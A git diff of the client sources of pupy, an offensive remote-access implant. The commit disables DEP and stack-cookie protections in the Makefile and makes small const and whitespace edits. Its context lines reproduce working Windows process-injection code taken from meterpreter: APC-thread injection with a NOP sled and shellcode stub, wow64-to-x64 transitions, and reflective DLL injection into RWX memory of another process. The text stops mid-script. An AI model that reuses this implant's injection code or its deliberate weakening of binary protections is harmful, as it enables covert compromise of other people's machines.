diff --git a/client/sources/Makefile b/client/sources/Makefile index 84e1bea2..f8576303 100644 --- a/client/sources/Makefile +++ b/client/sources/Makefile @@ -23,13 +23,13 @@ endif ifdef DEBUG DEBUG_ADD := -debug CFLAGS := $(CFLAGS) /DDEBUG /DVERBOSE -LINKER_OPTS := +LINKER_OPTS := /NXCOMPAT:NO PPARCH := $(PPARCH)d else DEBUG_ADD := -LINKER_OPTS :=/link /subsystem:windows /ENTRY:mainCRTStartup /LTGC +LINKER_OPTS := /NXCOMPAT:NO /link /subsystem:windows /ENTRY:mainCRTStartup /LTCG PPARCH := $(PPARCH) -CFLAGS := $(CFLAGS) /O1 /GL +CFLAGS := $(CFLAGS) /O1 /GL /GS- endif CFLAGS := $(CFLAGS) /I..\\lzma diff --git a/client/sources/MyLoadLibrary.c b/client/sources/MyLoadLibrary.c index c6b68195..186894f4 100644 --- a/client/sources/MyLoadLibrary.c +++ b/client/sources/MyLoadLibrary.c @@ -61,7 +61,7 @@ static LIST *libraries; int level; -#ifdef VERBOSE_NOP +#ifdef VERBOSE static int dprintf(char *fmt, ...) { va_list marker; diff --git a/client/sources/Python-dynload.c b/client/sources/Python-dynload.c index be92c000..32fd994e 100644 --- a/client/sources/Python-dynload.c +++ b/client/sources/Python-dynload.c @@ -65,7 +65,7 @@ int _load_python_FromFile(char *dllname) return 1; } -HMODULE _load_dll(char *name, char *bytes){ +HMODULE _load_dll(const char *name, const char *bytes){ HMODULE hmod; ULONG_PTR cookie = 0; @@ -75,7 +75,7 @@ HMODULE _load_dll(char *name, char *bytes){ return hmod; } -int _load_msvcr90(char *bytes) +HMODULE _load_msvcr90(char *bytes) { return _load_dll("msvcr90.dll", bytes); } diff --git a/client/sources/base_inject.c b/client/sources/base_inject.c index 254801a5..7fd7b57a 100644 --- a/client/sources/base_inject.c +++ b/client/sources/base_inject.c @@ -1,4 +1,4 @@ -/* +/* This code is originally from meterpreter and has been modified to be integrated into pupy. original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ @@ -156,12 +156,12 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat if( dwPupyArch == PROCESS_ARCH_X64 ) { // injecting x64->x86(wow64) - - // Our injected APC ends up running in native x64 mode within the wow64 process and as such + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. - + SetLastError( ERROR_ACCESS_DENIED ); BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) } @@ -189,10 +189,10 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat LPVOID lpRemoteAddress = NULL; BYTE * lpNopSled = NULL; BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; - + /* // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. - // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, // however the start address of the new APC in the native x64 process is not what we specify but instead it is // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there @@ -237,12 +237,12 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat lpNopSled = (BYTE *)malloc( mbi.RegionSize ); if( !lpNopSled ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); - + memset( lpNopSled, 0x90, mbi.RegionSize ); - + if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) - + if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) @@ -269,7 +269,7 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat if( !Thread32First( hThreadSnap, &t ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) - + // Allocate memory for the apc stub and context lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteApcStub ) @@ -303,13 +303,13 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat //printf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); - // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt // an ssl connection back but the client side will not be ready to accept it and we loose the session. if( SuspendThread( hThread ) != (DWORD)-1 ) { list_push( thread_list, hThread ); - // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) @@ -326,7 +326,7 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat { CloseHandle( hThread ); } - + // keep searching for more target threads to inject our apc stub into... } while( Thread32Next( hThreadSnap, &t ) ); @@ -377,7 +377,7 @@ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinat /* * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) * enviroment into a native x64 enviroment and accessing the native win64 API's. - * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out * Windows 2003 from this method of injection, however the APC injection method will work on 2003. */ @@ -407,12 +407,12 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !pExecuteX64 ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) - + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !pX64function ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) - + // copy over the wow64->x64 stub memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); @@ -530,13 +530,13 @@ DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID l /* * Inject a DLL image into a process via Reflective DLL Injection. * - * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() * in stdapi will handle this automatically. * * Note: This function largely depreciates LoadRemoteLibraryR(). */ -DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine , int remoteProcessArch) +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine , int remoteProcessArch) { DWORD dwResult = ERROR_ACCESS_DENIED; DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; @@ -558,27 +558,27 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpC hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); if( !hProcess ) - BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); if( cpCommandLine ) { // alloc some space and write the commandline which we will pass to the injected dll... - lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); } // alloc memory (RWX) in the host process for the image... - lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); @@ -587,7 +587,7 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpC if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) { //printf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); - + // If that fails we can try to migrate via a queued APC in the target process if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) @@ -602,4 +602,3 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpC return dwResult; } - diff --git a/client/sources/base_inject.h b/client/sources/base_inject.h index 83907515..ae98f0dd 100644 --- a/client/sources/base_inject.h +++ b/client/sources/base_inject.h @@ -1,4 +1,4 @@ -/* +/* This code has been taken from meterpreter and modified to be integrated into pupy. original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ @@ -71,7 +71,7 @@ typedef struct _APCCONTEXT union { LPVOID lpStartAddress; - BYTE bPadding1[8]; + BYTE bPadding1[8]; } s; union @@ -96,7 +96,7 @@ typedef struct _WOW64CONTEXT union { LPVOID lpStartAddress; - BYTE bPadding1[8]; + BYTE bPadding1[8]; } s; union @@ -119,7 +119,7 @@ DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID l DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); -DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine, int is64bits); +DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine, int is64bits); //===============================================================================================// #endif diff --git a/client/sources/buildenv.sh b/client/sources/buildenv.sh index 1e659c93..05560e9f 100755 --- a/client/sources/buildenv.sh +++ b/client/sources/buildenv.sh @@ -16,7 +16,8 @@ PYTHONVC="https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28- # PYWIN32="http://downloads.sourceforge.net/project/pywin32/pywin32/Build%20220/pywin32-220.win32-py2.7.exe" # PYWIN64="http://downloads.sourceforge.net/project/pywin32/pywin32/Build%20220/pywin32-220.win-amd64-py2.7.exe" -PACKAGES="rpyc pyaml rsa pefile rsa netaddr win_inet_pton netaddr tinyec pycryptodome cryptography pypiwin32" +PACKAGES="rpyc rsa pefile rsa netaddr win_inet_pton netaddr tinyec pypiwin32" +PACKAGES_BUILD="pycryptodome psutil cryptography" PACKAGES="$PACKAGES mss pyaudio https://github.com/secdev/scapy/archive/6aaf9ef98424a713b3c21e9f32a31a1358e1d6c8.zip impacket pyOpenSSL colorama pyuv" BUILDENV=${1:-`pwd`/buildenv} @@ -86,6 +87,9 @@ for prefix in $WINE32 $WINE64; do touch $prefix/drive_c/.vc done + +WINEPREFIX=$WINE32 wine reg add 'HKCU\Software\Wine\DllOverrides' /t REG_SZ /v dbghelp /d '' + export WINEPREFIX=$WINE64 mkdir -p $WINE64/drive_c/windows/Microsoft.NET/Framework @@ -94,6 +98,7 @@ mkdir -p $WINE64/drive_c/windows/Microsoft.NET/Framework64 touch $WINE64/drive_c/windows/Microsoft.NET/Framework/empty.txt touch $WINE64/drive_c/windows/Microsoft.NET/Framework64/empty.txt +wine reg add 'HKCU\Software\Wine\DllOverrides' /t REG_SZ /v dbghelp /d '' wine reg delete 'HKLM\Software\Microsoft\Windows\CurrentVersion' /v SubVersionNumber /f || true wine reg delete 'HKLM\Software\Microsoft\Windows\CurrentVersion' /v VersionNumber /f || true wine reg delete 'HKLM\Software\Microsoft\Windows NT\CurrentVersion' /v CSDVersion /f || true @@ -161,7 +166,7 @@ for prefix in $WINE32 $WINE64; do WINEPREFIX=$prefix wine C:\\Python27\\python -OO -m pip install -q --upgrade pip WINEPREFIX=$prefix wine C:\\Python27\\python -OO -m pip install -q --upgrade setuptools WINEPREFIX=$prefix wine C:\\Python27\\python -OO -m pip install -q --upgrade $PACKAGES - WINEPREFIX=$prefix wine C:\\Python27\\python -OO -m pip install -q --upgrade --no-binary :all: psutil + WINEPREFIX=$prefix wine C:\\Python27\\python -OO -m pip install -q --upgrade --no-binary :all: $PACKAGES_BUILD WINEPREFIX=$prefix wine C:\\Python27\\python -m compileall -q C:\\Python27\\Lib || true WINEPREFIX=$prefix wine C:\\Python27\\python -OO -m compileall -q C:\\Python27\\Lib || true done @@ -173,6 +178,8 @@ cat >$WINE32/python.sh <$WINE64/python.sh <